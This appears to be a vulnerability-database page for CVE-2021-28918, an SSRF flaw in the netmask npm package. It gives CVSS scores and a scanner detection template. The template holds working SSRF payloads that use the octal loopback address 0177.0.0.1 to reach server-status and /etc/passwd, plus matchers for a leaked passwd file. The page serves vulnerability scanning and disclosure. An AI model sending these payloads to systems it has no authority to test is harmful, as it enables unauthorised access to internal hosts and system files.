9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
7 High
AI Score
Confidence
High
6.4 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
0.043 Low
EPSS
Percentile
92.2%
Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
id: CVE-2021-28918
info:
name: Netmask NPM Package - Server-Side Request Forgery
author: johnjhacking
severity: critical
description: Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
impact: |
An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to unauthorized access or information disclosure.
remediation: |
Upgrade to Netmask version 2.0.0 or later, which includes a fix for this vulnerability.
reference:
- https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
- https://github.com/advisories/GHSA-pch5-whg9-qr2r
- https://nvd.nist.gov/vuln/detail/CVE-2021-28918
- https://github.com/rs/node-netmask
- https://rootdaemon.com/2021/03/29/vulnerability-in-netmask-npm-package-affects-280000-projects/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2021-28918
cwe-id: CWE-704
epss-score: 0.02704
epss-percentile: 0.89404
cpe: cpe:2.3:a:netmask_project:netmask:*:*:*:*:*:node.js:*:*
metadata:
max-request: 3
vendor: netmask_project
product: netmask
framework: node.js
tags: cve2021,cve,npm,netmask,ssrf,lfi,netmask_project,node.js
http:
- method: GET
path:
- "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
- "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
- "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: word
part: body
words:
- "Apache Server Status"
- "Server Version"
condition: and
- type: regex
regex:
- "root:.*:0:0:"
# digest: 4a0a00473045022100b939a30c5fa64f54a4180624144395644b93b75e550c7fda141b0701557eb81a022020316b99faf609c753aa339b44f4c18e3ee753c37e12bb8458c089b611608981:922c64590222798bb761d5b6d8e72950
9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
7 High
AI Score
Confidence
High
6.4 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:P/A:N
0.043 Low
EPSS
Percentile
92.2%